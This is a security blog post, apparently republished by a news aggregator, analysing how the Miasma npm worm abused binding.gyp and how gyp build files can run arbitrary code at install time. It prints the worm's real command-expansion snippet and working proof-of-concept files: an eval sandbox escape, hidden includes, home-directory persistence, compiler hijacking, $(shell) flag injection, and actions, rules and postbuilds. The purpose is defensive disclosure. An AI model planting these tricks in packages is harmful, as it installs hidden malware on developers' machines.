{"slug": "wait-binding-gyp-can-do-what-exploring-npm-s-weirdest-build-system", "title": "Wait, binding.gyp Can Do What? Exploring npm's Weirdest Build System", "summary": "A new variant of the Miasma worm has been discovered exploiting npm's binding.gyp build file to execute malicious code during package installation, bypassing traditional package.json script audits. The worm uses GYP's command expansion feature to run arbitrary shell commands, compromising packages like @vapi-ai/server-sdk and ai-sdk-ollama across npm, PyPI, and GitHub.", "body_md": "It has only been a couple of days since the [Miasma attack hit 32 official Red Hat packages](https://www.aikido.dev/blog/red-hat-npm-packages-compromised-credential-stealing-worm) on npm. The worm added a malicious `preinstall`\n\nscript to each compromised package, so that `node index.js`\n\nran automatically the moment you installed the dependency, harvesting cloud credentials, CI tokens, SSH keys and more before you ever ran a single line of your own code.\n\nIn the days that followed, Miasma spread well beyond its initial targets, hitting several other packages across npm, PyPI, and GitHub, including `@vapi-ai/server-sdk`\n\n(71k weekly downloads) and `ai-sdk-ollama`\n\n(31k weekly downloads).\n\n**However, this new wave comes with a new trick.**\n\nIf you audited one of these packages, looked at its `package.json`\n\n, saw no `preinstall`\n\nor `postinstall`\n\nhook, and concluded it was safe to install, think again. The latest variant moved its trigger out of `package.json`\n\nentirely and into a far less scrutinised file that npm will happily execute for you at install time: `binding.gyp`\n\n.\n\nIn this article, I’ll do a proper deep dive into `binding.gyp`\n\n. We will look at what it is, why npm runs it, and the surprising number of ways it can be abused to execute arbitrary code, from **sandbox evasion** to **compiler hijacking**, all while looking like an innocent build file.\n\n## What are node-gyp and binding.gyp?\n\nPlenty of npm packages are not pure JavaScript. They ship native add-ons written in C or C++ that need to be compiled into a binary before Node can load them. The tool responsible for that compilation step is `node-gyp`\n\n, a cross-platform build tool that npm bundles and invokes for you. It is a wrapper around GYP, which stands for Generate Your Projects, a build system Google originally created for the Chromium project. However, Google has moved Chromium off it and stopped maintaining it, so node-gyp now relies on a fork maintained by Node.js.\n\n`node-gyp`\n\nknows what to build by reading a file called `binding.gyp`\n\nthat lives in the root of the package. It is a JSON-like file that describes the build (technically a Python literal, which will matter later). It describes which source files to compile, which include directories to use, and so on. A normal, honest `binding.gyp`\n\ncould look like this:\n\n```\n{\n  \"targets\": [\n    {\n      \"target_name\": \"addon\",\n      \"sources\": [\"src/addon.cc\"]\n    }\n  ]\n}\n```\n\nHowever, this can easily become a security problem. When npm installs a package and notices a `binding.gyp`\n\nin its root, it automatically runs `node-gyp rebuild`\n\nfor that package as part of the install. The package does not need to register any script in `package.json`\n\nto make it happen. The mere presence of a `binding.gyp`\n\nfile is enough for code to run during installation.\n\nSo even a package with a completely clean `package.json`\n\n, with zero lifecycle hooks, will trigger the gyp toolchain at install time simply because the file exists.\n\n## How Miasma exploited it\n\nHere is an actual snippet of what the worm dropped into the compromised packages:\n\n```\n{\n  \"targets\": [\n    {\n      \"target_name\": \"Setup\",\n      \"type\": \"none\",\n      \"sources\": [\"<!(node index.js > /dev/null 2>&1 && echo stub.c)\"]\n    }\n  ]\n}\n```\n\nAt a glance, this reads like a build target named `Setup`\n\nwith a single source file. Look closer at the `sources`\n\narray. Instead of a plain filename, it contains a string wrapped in `<!(...)`\n\n.\n\nThat `<!(...)`\n\nsyntax is a gyp feature called a command expansion. When gyp parses this file, it does not treat the contents as a literal string. It runs the enclosed shell command and substitutes the command's output back into the field.\n\nSo when `node-gyp`\n\nprocesses the target, it executes:\n\n```\nnode index.js > /dev/null 2>&1 && echo stub.c\n```\n\nBreaking that down:\n\n`node index.js`\n\nruns the malicious payload. This`index.js`\n\nis the same Miasma payload we saw in the[earlier Red Hat attacks](https://www.aikido.dev/blog/red-hat-npm-packages-compromised-credential-stealing-worm), the obfuscated credential stealer and worm from this campaign.`> /dev/null 2>&1`\n\nthrows away all output, so nothing suspicious shows up in the install logs.`&& echo stub.c`\n\nprints a harmless-looking filename. Gyp captures that as the value of the`sources`\n\nentry, so the build keeps going and nothing looks broken.\n\nThe payload runs, stays quiet, and the build completes normally. **No preinstall hook necessary.**\n\n## The expansion syntax, and why it is even worse than it looks\n\nGYP actually offers several flavors of command expansion:\n\n`<!(command)`\n\n/`>!(command)`\n\n/`^!(command)`\n\n– runs the command and substitutes its raw output as a single string.`<!@(command)`\n\n/`>!@(command)`\n\n/`^!@(command)`\n\n– runs the command and splits its output into a list, which is handy where gyp expects an array.`<!pymod_do_main(module args)`\n\n– imports`module`\n\nas a Python module and calls its`DoMain()`\n\nfunction, using the return value as the substitution.`<|(name item1 item2 ...)`\n\ncreates a file called`name`\n\nat parse time, with each item on its own line.\n\n**These all execute at parse time, before any compilation actually happens.**\n\nIntuitively, you’d expect that this would only happen in real documented fields like `sources`\n\n, `libraries`\n\nor `include_dirs`\n\n. That intuition is wrong, and this is where it starts to get interesting.\n\nGYP does not scope command expansion to a known list of fields. When it loads a `.gyp`\n\nfile, it walks the entire parsed structure recursively and expands `<!(...)`\n\nand `<!@(...)`\n\ninside any string value it finds, no matter which key that string lives under. There is no schema that says \"only these field names are allowed.\"\n\nIn practice, that means an attacker can invent a field name (like `some_random_key`\n\n) that does not exist in gyp's documentation at all, and the command inside it will still run:\n\n```\n{\n  \"some_random_key\": \"<!(node evil.js && echo 0)\",\n  \"targets\": []\n}\n```\n\nThere is no `some_random_key`\n\nfield in gyp. It does not need to be one. The string sitting under that key contains a `<!(...)`\n\ntoken, the recursive expansion pass reaches it, and the command runs. This is what makes reviewing these so painful. You can’t just check the handful of fields you expect to be dangerous, because the payload can be hidden under any key, and at any depth, in the file.\n\n## The sandbox escape\n\nThought command expansions were risky? It only gets worse from here.\n\nUp to now, we have treated `binding.gyp`\n\nas a slightly unusual JSON file with some extra features. Under the hood, it is actually a Python dictionary, and it hands the file straight to Python's `eval()`\n\n. See where I'm going with this?\n\nThat's right: the file that npm runs for you at install time is parsed by `eval`\n\n. The gyp authors were not blind to how that could be abused, so they call `eval`\n\nwith the builtins stripped out:\n\n```\neval(file_contents, {\"__builtins__\": {}}, None)\n```\n\nThe idea is that without built-in functions available, an attacker who controls the gyp file can’t reach anything dangerous, like running a shell command or reading files off the disk. The building blocks you would normally use for that, such as `__import__`\n\nto load the `os`\n\nmodule or `open`\n\nto touch a file, have all been taken away. It is a classic sandbox. **However, like almost every attempt to sandbox Python's eval, it can be escaped.**\n\nWe can climb straight back out of that sandbox and make GYP run arbitrary Python code. Here is a complete malicious `binding.gyp`\n\n, in full:\n\n```\n[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js')\n```\n\nThat's it. That is the whole file. No JSON syntax is necessary. We didn't use any of the usual `targets`\n\nor `sources`\n\nfields you'd expect to see in a gyp file. Just a single Python expression. It works because, before `node evil.js`\n\nis called, the expression pulls off a little trick to break out of `eval()`\n\n's sandbox.\n\nThe dangerous functions were taken away, but the harmless objects you can still touch quietly hold hidden references back to them. Starting from the harmless empty tuple `()`\n\n, it hops through Python's internal object relationships until it finds something that still holds a reference back to the functions that were taken away, grabs them, and uses that to import the `os`\n\nmodule and run the shell command `node evil.js`\n\n.\n\n**And this executes the moment someone runs npm install <package>, purely as a side effect of gyp parsing the file.**\n\nBecause the whole gyp syntax is essentially just a Python dictionary, the expression can be tucked into any value of an otherwise completely normal-looking build file:\n\n```\n{\n  \"variables\": {\n    \"module_name\": \"fast_crypto\",\n    \"openssl_fips\": [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') or \"\",\n  },\n  \"targets\": [\n    {\n      \"target_name\": \"<(module_name)\",\n      \"sources\": [\"src/binding.cc\", \"src/crypto.cc\"],\n      \"include_dirs\": [\"<!(node -p \\\"require('node-addon-api').include\\\")\"],\n      \"defines\": [\"NAPI_VERSION=8\"],\n    }\n  ]\n}\n```\n\nThis is a working `binding.gyp`\n\nthat really would build a native module. The payload is hidden inside the `openssl_fips`\n\nvariable, made to blend in with the rest of the build file. No `<!(...)`\n\ncommand expansion was necessary.\n\nConditions are the same story. GYP lets a build file apply different settings depending on the environment, through a `conditions`\n\nkey.\n\n```\n\"conditions\": [\n  [\"OS=='win'\", { \"sources\": [\"socket_win.cc\"] }],\n  [\"OS=='linux'\", { \"defines\": [\"LINUX\"] }],\n]\n```\n\nThose condition strings, `\"OS=='win'\"`\n\n, are meant to be tiny boolean checks. But gyp evaluates them the same way it parses the file: it compiles each one and runs it through `eval()`\n\n, with the same stripped builtins. This means a condition can, in fact, hold any arbitrary Python expression. Using the same sandbox escape trick, we can turn the `conditions`\n\nfield into another attack vector to be aware of:\n\n```\n\"conditions\": [\n  [\"[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') == 0\", {}],\n]\n```\n\n**We've just shown you how to convert binding.gyp into an arbitrary code executor that runs at install-time (without any postinstall hooks).**\n\nYou might wonder why any of this matters that much. We already have several ways to run code at install time. There is `postinstall`\n\nin `package.json`\n\n. There are command expansions in `binding.gyp`\n\n.\n\nThe difference here is that the real, documented features are risky, but risky in a way that the ecosystem already understands. A reviewer knows to read the `scripts`\n\nblock in `package.json`\n\n. A scanner can be made to flag `<!(...)`\n\nexpansions. We can anticipate them, write rules for them, and defend against them, precisely because they are supposed to exist.\n\nEscaping a sandbox is a different kind of problem, because nothing about it was ever intended. No one ever expects `binding.gyp`\n\nto just host pure Python code that executes at install time.\n\n## Hiding code in included files\n\nSo far, every payload has lived inside a single `binding.gyp`\n\nfile. It does not have to.\n\n`binding.gyp`\n\nsupports an `includes`\n\nkey. Its intended purpose is to factor out shared build settings into a separate file and pull them into multiple targets or projects, so you do not repeat yourself. When gyp encounters an `includes`\n\nentry, it loads that file and merges its contents into the current one before processing.\n\nThe catch is that the included file is processed exactly like the main `binding.gyp`\n\n, which means every expansion or sandbox evasion trick from the previous sections apply inside it, too. An attacker can move the payload out of `binding.gyp`\n\nand into an included file, leaving the main file looking like a normal build configuration file:\n\n```\n{\n  \"includes\": [\"evil\"],\n  \"targets\": [...]\n}\n```\n\nThe included `evil`\n\nfile can then carry the actual payload, which can again be tucked under an arbitrary key, at any depth in the file.\n\n```\n{\n  \"anyrandomname\": {\n    \"somethingarbitrary\": \"<!(node evil_script.js && echo 0)\"\n  }\n}\n```\n\nTwo things make this great for an attacker and bad for a reviewer. First, the included file can be named anything. It does not need a `.gyp`\n\nor `.gypi`\n\nextension. It just has to contain valid JSON-formatted data. A file innocently called `config`\n\nor `LICENSE`\n\nworks just as well.\n\nSecond, `includes`\n\nare transitive. An included file can itself include another file, which can include another, and so on. Now, the install-time payload that actually runs could be three or four files away from the `binding.gyp`\n\nyou started analyzing.\n\n## Auto-includes and persistence\n\nThink you got the hang of includes now? There is a twist: you do not even need an `includes`\n\nkey, because node-gyp pulls in some files on its own.\n\nWhen node-gyp configures a build, it looks for two files in the package root, `config.gypi`\n\nand `common.gypi`\n\n, and forcibly includes any it finds, exactly as if you had listed them in `includes`\n\n. They are processed like any other gyp file, so every trick from the last few sections works inside them. The catch for a reviewer is that nothing in `binding.gyp`\n\npoints at them. A `binding.gyp`\n\ncan be a single empty pair of braces and still pull a payload out of a sibling `config.gypi`\n\n:\n\n```\n{ }\n{\n  \"variables\": {\n    \"anything\": \"<!(node evil.js && echo 0)\"\n  }\n}\n```\n\nThe first file is the entire `binding.gyp`\n\n. The second is `config.gypi`\n\n, sitting quietly next to it, and it runs on install.\n\nThat is bad, but the next one is worse. node-gyp also auto-includes `~/.gyp/include.gypi`\n\n, resolved from the user's home directory, into every gyp build that user runs. Not this project, but every project. Drop a payload there once and it persists on every native `npm install`\n\nwith a `binding.gyp`\n\nyou ever do again.\n\n## Pulling in code through dependencies\n\nSeparate from `includes`\n\n, gyp targets can declare `dependencies`\n\non other targets defined in entirely different `.gyp`\n\nfiles.\n\nBecause a dependency points at another gyp file, and that file is parsed and expanded like any other, dependencies give an attacker a second, independent way to reach code in another file:\n\n```\n{\n  \"targets\": [\n    {\n      \"target_name\": \"main\",\n      \"type\": \"none\",\n      \"dependencies\": [\"dep.gyp:dep_target\"]\n    }\n  ]\n}\n```\n\nThe referenced `dep.gyp`\n\nfile then hosts the payload inside one of its targets:\n\n```\n{\n  \"targets\": [\n    {\n      \"target_name\": \"dep_target\",\n      \"type\": \"none\",\n      \"sources\": [\"<!(node malicious.js && echo stub.c)\"]\n    }\n  ]\n}\n```\n\nAs with `includes`\n\n, the referenced file's name is irrelevant as long as it holds valid JSON-formatted data. And just like `includes`\n\n, these `dependencies`\n\ncan also be transitive.\n\n## Compiler hijacking\n\nThe `binding.gyp`\n\nalso controls how the native code gets built, which compiler to invoke and what flags to pass it, and that control becomes its own attack vector.\n\nA native build has to know which compiler to use and what options to give it. Gyp exposes this in two places:\n\n- per target settings like\n`cflags`\n\n,`defines`\n\n, and`include_dirs`\n\n. `make_global_settings`\n\n(Linux / macOS) – a top level block in a gyp file that sets the toolchain for the whole build:- the C compiler (\n`CC`\n\n) - the C++ compiler (\n`CXX`\n\n) - the linker (\n`LINK`\n\n) - the archiver (\n`AR`\n\n) - compiler flags (\n`CFLAGS`\n\n) - linker flags (\n`LDFLAGS`\n\n)\n\n- the C compiler (\n\nSince compilation happens at install-time, a malicious actor could replace the compiler, pointing it at their own script:\n\n```\n{\n  \"make_global_settings\": [\n    [\"CC\", \"<(module_root_dir)/cc-evil.sh\"]\n  ],\n  \"targets\": [\n    {\n      \"target_name\": \"addon\",\n      \"type\": \"static_library\",\n      \"sources\": [\"src/addon.c\"]\n    }\n  ]\n}\n```\n\nNow the build runs `cc-evil.sh`\n\nas the compiler for every compile step, where `cc-evil.sh`\n\ncould look like this:\n\n```\nnode \"$(dirname \"$0\")/evil.js\"\nexec cc \"$@\"\n```\n\nThe script can do whatever it likes (such as executing `evil.js`\n\n) and then call the real compiler so the build still succeeds, and nobody notices.\n\nGYP even has a dedicated convention for this, meant for compiler launchers like ccache. A `*_wrapper`\n\nkey prepends your program in front of the real compiler:\n\n```\n{\n  \"make_global_settings\": [\n    [\"CC\", \"/usr/bin/cc\"],\n    [\"CC_wrapper\", \"<(module_root_dir)/cc-evil-wrapper.sh\"]\n  ],\n  \"targets\": [\n    {\n      \"target_name\": \"addon\",\n      \"type\": \"static_library\",\n      \"sources\": [\"src/addon.c\"]\n    }\n  ]\n}\n```\n\nHere gyp runs `cc-evil-wrapper.sh /usr/bin/cc ...`\n\n, handing the malicious script the real compiler as an argument.\n\nFurthermore, an attacker does not even have to replace the compiler. They can just hand it flags, and gyp writes those flags into the generated build file. On a make-based build the flags become `make`\n\nvariables, and `make`\n\ncan evaluate a `$(shell)`\n\ncommand it finds inside one. So a flag value can be hijacked to carry a malicious command.\n\nThere are two places to inject. On the target itself, for example through `cflags`\n\n(or `xcode_settings`\n\non macOS):\n\n```\n{\n  \"targets\": [\n    {\n      \"target_name\": \"addon\",\n      \"type\": \"static_library\",\n      \"sources\": [\"src/addon.c\"],\n      \"cflags\": [\"$(shell node <(module_root_dir)/evil.js)\"]\n    }\n  ]\n}\n```\n\nOr globally for every target, through `make_global_settings`\n\n:\n\n```\n{\n  \"make_global_settings\": [\n    [\"CFLAGS\", \"$(shell node <(module_root_dir)/evil.js)\"]\n  ],\n  \"targets\": [\n    {\n      \"target_name\": \"addon\",\n      \"type\": \"static_library\",\n      \"sources\": [\"src/addon.c\"]\n    }\n  ]\n}\n```\n\nWhen the build runs, the malicious `$(shell ...)`\n\ncommand runs, and the command's output is passed on to the compiler as a harmless flag, so the build proceeds successfully.\n\nThe exact mechanism to hijack a compiler may differ per build tool and OS. However, the key takeaway is that compiler and linker settings are worth treating as code, since build tools like `make`\n\ncan evaluate what is inside them at `npm install`\n\ntime.\n\n## Executing code through actions\n\nSo far, every vector has relied on command expansion, sandbox evasion, or compiler hijacking. GYP has another feature that runs commands by design: `actions`\n\n.\n\nAn action is a build step attached to a target that runs an arbitrary command, normally to generate a source file or process some input before compilation. It’s a documented feature that lives inside a target's `actions`\n\narray. Each action names a command to run, its inputs, and its outputs.\n\nBecause the whole point of an action is to run a command, an attacker does not even need the expansion syntax here. They can just ask gyp to run their payload directly:\n\n```\n{\n  \"targets\": [\n    {\n      \"target_name\": \"via_actions\",\n      \"type\": \"none\",\n      \"actions\": [\n        {\n          \"action_name\": \"poc_action\",\n          \"inputs\": [],\n          \"outputs\": [\"poc_action_done\"],\n          \"action\": [\"node\", \"evil.js\"]\n        }\n      ]\n    }\n  ]\n}\n```\n\nWhen the target builds, gyp runs `node evil.js`\n\n. No `<!(...)`\n\nrequired, no source file to compile, just a build step whose entire job is to execute a command.\n\nThere is a close cousin worth knowing about: `rules`\n\n. A rule is like an action, except it fires once per input file that matches a given extension. Point a rule at a file with the right extension, and its command runs for that file:\n\n```\n{\n  \"targets\": [\n    {\n      \"target_name\": \"via_rules\",\n      \"type\": \"none\",\n      \"sources\": [\"trigger.poc\"],\n      \"rules\": [\n        {\n          \"rule_name\": \"poc_rule\",\n          \"extension\": \"poc\",\n          \"outputs\": [\"<(RULE_INPUT_ROOT).done\"],\n          \"action\": [\"node\", \"evil.js\"]\n        }\n      ]\n    }\n  ]\n}\n```\n\nHere, the target lists a single source file, `trigger.poc`\n\n. The rule says that for every input file ending in `.poc`\n\n, gyp should run `node evil.js`\n\n. The attacker controls both halves, so they ship a throwaway file with the matching extension, and the rule fires against it at build time. The effect is the same as an action, with the trigger being a matching file rather than the target itself.\n\nThere is a third member of this family, `postbuilds`\n\n, a command that runs after a target has been built. It carries the same kind of `action`\n\narray:\n\n```\n{\n  \"targets\": [\n    {\n      \"target_name\": \"via_postbuilds\",\n      \"type\": \"none\",\n      \"postbuilds\": [\n        {\n          \"postbuild_name\": \"poc_postbuild\",\n          \"action\": [\"node\", \"evil.js\"]\n        }\n      ]\n    }\n  ]\n}\n```\n\n**The key takeaway is that a binding.gyp file runs code at install time,** exactly like a\n\n`preinstall`\n\nor `postinstall`\n\nhook in `package.json`\n\n, so it deserves exactly the same suspicion. The presence of `binding.gyp`\n\nin a dependency means code can run during install, regardless of what `package.json`\n\nsays. A clean `package.json`\n\nwith no install scripts is no longer evidence that nothing runs.Security teams should be paying attention here. The people behind supply-chain attacks like Miasma are clearly looking for new ways to run code at install time, and `binding.gyp`\n\nis an easy one to miss, especially when it involves undocumented behavior, like the sandbox escapes. It would be naive to assume this is the last we'll see of it.\n\n## How Aikido detects this\n\nIf you are an Aikido user, check your central feed and filter on malware issues. The recent Miasma campaign, which now uses install-time `binding.gyp`\n\nexecution, surfaces as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan immediately if you think you may be affected.\n\nNot an Aikido user yet? [Create an account](https://app.aikido.dev/login) and connect your repos. Our malware coverage is included in the free plan, no credit card required.\n\nFor an extra layer, Aikido [Device Protection](https://www.aikido.dev/protect/device-protection) gives you visibility and control over the software packages installed on your team's devices, covering browser extensions, libraries, plugins, and dependencies.\n\nTo stop a package like this before it ever reaches the install step, use [Aikido Safe Chain](https://github.com/AikidoSec/safe-chain) (open source). It sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpx commands and checking packages against [Aikido Intel](https://intel.aikido.dev/) before install.", "url": "https://wpnews.pro/news/wait-binding-gyp-can-do-what-exploring-npm-s-weirdest-build-system", "canonical_source": "https://www.aikido.dev/blog/exploring-binding-gyp-npm-build-system", "published_at": "2026-06-09 13:25:00+00:00", "updated_at": "2026-06-17 10:00:41.148708+00:00", "lang": "en", "topics": ["ai-safety", "ai-policy", "developer-tools"], "entities": ["npm", "Red Hat", "node-gyp", "GYP", "Miasma", "PyPI", "GitHub", "Node.js"], "alternates": {"html": "https://wpnews.pro/news/wait-binding-gyp-can-do-what-exploring-npm-s-weirdest-build-system", "markdown": "https://wpnews.pro/news/wait-binding-gyp-can-do-what-exploring-npm-s-weirdest-build-system.md", "text": "https://wpnews.pro/news/wait-binding-gyp-can-do-what-exploring-npm-s-weirdest-build-system.txt", "jsonld": "https://wpnews.pro/news/wait-binding-gyp-can-do-what-exploring-npm-s-weirdest-build-system.jsonld"}}